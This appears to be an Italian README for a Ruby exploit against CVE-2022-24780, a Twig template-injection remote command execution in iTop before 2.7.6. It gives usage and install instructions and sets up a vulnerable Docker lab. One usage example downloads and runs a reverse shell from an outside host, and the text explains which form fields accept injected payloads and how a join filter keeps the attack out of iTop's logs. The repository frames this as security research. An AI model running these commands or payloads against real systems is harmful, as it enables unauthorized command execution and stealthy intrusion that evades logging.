acceis/exploit-cve-2022-24780iTop < 2.7.6 - Esecuzione di comandi da remoto (Autenticato)
iTop < 2.7.6 - Esecuzione remota di comandi (autenticata)
Exploit per CVE-2022-24780.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
La variante full dell'exploit utilizza Watir con un browser web guidato da Selenium per emulare la navigazione di un utente. Questo è necessario per preservare le informazioni dell'utente. L'exploit inietta un payload SSTI in una sottoparte del modulo utilizzato per modificare le informazioni dell'utente nel profilo del portale. Mentre alcuni valori possono essere hardcoded o recuperati dall'HTML, altri (telefono, posizione, funzione) vengono caricati dinamicamente tramite JavaScript e iniettati nell'HTML. Quindi, affinché l'exploit non sia distruttivo, è necessario eseguire JavaScript per essere in grado di recuperare tali valori.
La variante light dell'exploit non si preoccupa molto e imposta in modo distruttivo un valore nullo per alcuni campi delle informazioni dell'utente (telefono, posizione, funzione). Tuttavia questa variante è più veloce da eseguire, richiede meno dipendenze, non esegue alcun JavaScript e non necessita di un ambiente X (Watir ne ha bisogno per eseguire il browser web).
TL;DR: installa tutto con bundle install
Variante Full
Esempio con gem:
gem install httpx docopt watir webdrivers
Variante Light
Esempio con gem:
gem install httpx docopt nokogiri
Non è raccomandato utilizzare payload con virgolette doppie (") né barre rovesciate (\) perché il payload viene iniettato in JSON.
Attenzione: questo container non è adatto per l'uso in produzione!
Utilizzando vbkunin/itop:2.7.4 - sorgente - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
La vulnerabilità è stata scoperta da Markus KRELL.
Analisi della vulnerabilità da parte dello scopritore:
ACCEIS non promuove né incoraggia alcuna attività illegale; tutto il contenuto fornito da questo repository è destinato esclusivamente a scopi di ricerca, educativi e di rilevamento delle minacce.
Come auditor di sicurezza (o qualsiasi altro ruolo white hat), da un lato si vuole eseguire uno script di exploit per verificare l'effettiva sfruttabilità pratica della vulnerabilità teorica basata sul numero di versione dell'applicazione identificato, ma dall'altro lato si vuole che venga fatto correttamente senza alcuna azione distruttiva in modo che l'applicazione del cliente rimanga nello stesso stato in cui è stata scoperta.
Per esempio, questo exploit si verifica sulla pagina del profilo utente, quindi c'è un modulo con le informazioni dell'utente già popolate: nome, cognome, ID organizzazione, email, telefono, ID posizione, funzione, ID manager. Perché l'attacco funzioni, è sufficiente sovrascrivere i campi vulnerabili e riempire gli altri con valori nulli o valori casuali se sono obbligatori. Questo è ciò che fa la variante light dell'exploit. Ma così facendo si distruggono le informazioni reali di quell'utente; non è problematico in un ambiente di test, ma è un vero problema se si è in un ambiente di produzione. Un black hat non si preoccupa di tutto ciò, ma come white hat dobbiamo preservare i dati. Quindi la soluzione è recuperare i dati effettivi e riutilizzarli nella nostra richiesta POST.
Nelle applicazioni web classiche, spesso è sufficiente creare direttamente una richiesta POST con i parametri giusti indirizzata all'endpoint vulnerabile. A volte è necessario gestire sessioni/cookie, reindirizzamenti, alcuni stati precedenti che potrebbero essere richiesti, recuperare alcuni ID o token anti-CSRF, ma tutto ciò rimane molto semplice e può essere realizzato con praticamente qualsiasi libreria HTTP in qualsiasi linguaggio.
Per recuperare i dati effettivi, quando i dati nel modulo provengono da:
Inizia a diventare un po' più delicato su alcune applicazioni web moderne dove molti valori sono impostati da complesse manipolazioni JavaScript. Qui non puoi semplicemente analizzare l'HTML o richiedere una REST API, non puoi nemmeno recuperare il valore da un file JavaScript direttamente o analizzare diverse righe e ricalcolare un valore. Quando il calcolo JS è così complesso, avviene in molti file JS diversi o il codice sorgente JavaScript è offuscato o impacchettato, richiederebbe troppi sforzi e tempo per fare reverse engineering del meccanismo ed estrarre il valore. In questo caso, devi effettivamente interagire con il JavaScript dell'applicazione. Ma uno script di exploit classico che richiede solo una libreria HTTP non può farlo (da solo)!
Sfruttare la vulnerabilità manualmente è facile, basta navigare nell'applicazione, lasciare che il browser gestisca tutto il JavaScript, impostare un proxy di intercettazione come Burp Suite per poter modificare la richiesta prima che venga inviata e il gioco è fatto. Ma fare la stessa cosa in modo automatizzato è molto più difficile. Per interagire ed eseguire il JavaScript abbiamo bisogno di un browser headless (che può o meno richiedere un ambiente di visualizzazione) e una libreria di emulazione utente. Fortunatamente esistono già librerie di test funzionali avanzate che possiamo usare per guidare il browser headless. La più famosa è Selenium, ma c'è anche Cypress. Al di fuori delle suite di test, esistono anche librerie che offrono automazione più generica come Playwright o Puppeteer. In entrambi i casi, si utilizza un DSL che imita il comportamento dell'utente proprio come se un utente stesse usando l'applicazione, quindi il codice che scriveremo dirà al browser "clicca qui", "inserisci il mio nome nel campo nome", "clicca su questo link", ecc. Il limite dei framework di test è che permettono solo di fare ciò che farebbe un utente normale; ad esempio, un utente normale non recupera il contenuto di un tag script o di un campo nascosto, quindi non puoi farlo nemmeno tu. Sono anche progettati per recuperare valori e confrontarli con ciò che ci si aspetta, non per impostarli. Inoltre, l'esecuzione con un browser headless è molto più lenta e può richiedere una scrittura DSL complessa. Quindi alla fine vogliamo usare il browser headless e il framework di test il meno possibile.
Ciò che fa la variante light dell'exploit è connettersi all'applicazione, recuperare il modulo del profilo utente per ottenere tutti i valori che può e usare valori vuoti per il numero di telefono, l'ID posizione e la funzione, quindi inviare l'exploit.
Invece, ciò che fa la variante full dell'exploit è connettersi all'applicazione, recuperare il modulo del profilo utente per ottenere tutti i valori che può, poi usare il browser headless per connettersi, recuperare il modulo del profilo utente per ottenere i 3 valori che erano stati impostati da JavaScript, quindi inviare l'exploit. È più o meno lo stesso processo, tranne che non usiamo valori nulli per i campi dati popolati in JavaScript, ma li recuperiamo effettivamente con un browser headless che eseguirà il JavaScript che popola quei valori per poterli recuperare. È anche tecnicamente possibile scrivere l'exploit al 100% usando solo il browser headless, ma dovremmo affrontare le limitazioni discusse in precedenza; ecco perché ho scelto l'approccio ibrido con un uso minimo del browser headless.
Lo scopritore della vulnerabilità CVE-2022-24780, Markus KRELL, ha scritto un articolo di analisi dettagliato: iTop – Iniezione di Template all'interno del Portale Clienti.
In breve, la vulnerabilità si verifica al cambio del profilo utente. Quando l'utente invia il modulo per aggiornare le sue informazioni, invia un enorme oggetto JSON contenente vari metadati per il backend, ma i dati utente da aggiornare sono memorizzati come XHTML nel nodo secondario formproperties.layout.content del JSON. Ma Markus ha notato nel codice sorgente che formproperties.layout.type poteva accettare sia XHTML che Twig. Ovviamente quando ha visto menzionato Twig ha immediatamente pensato a un potenziale SSTI. Quindi ha provato tutti i campi nel contenuto per identificarne uno vulnerabile e ha scoperto che gli attributi data-field-id e data-field-flags sono vulnerabili. Quindi è possibile utilizzare i classici payload di iniezione di template Twig. Inoltre, come bonus, ha scoperto che aggiungere |join(',') all'espressione converte l'array risultante in una stringa e così facendo si evita una voce nei log di iTop per rendere l'attacco più furtivo.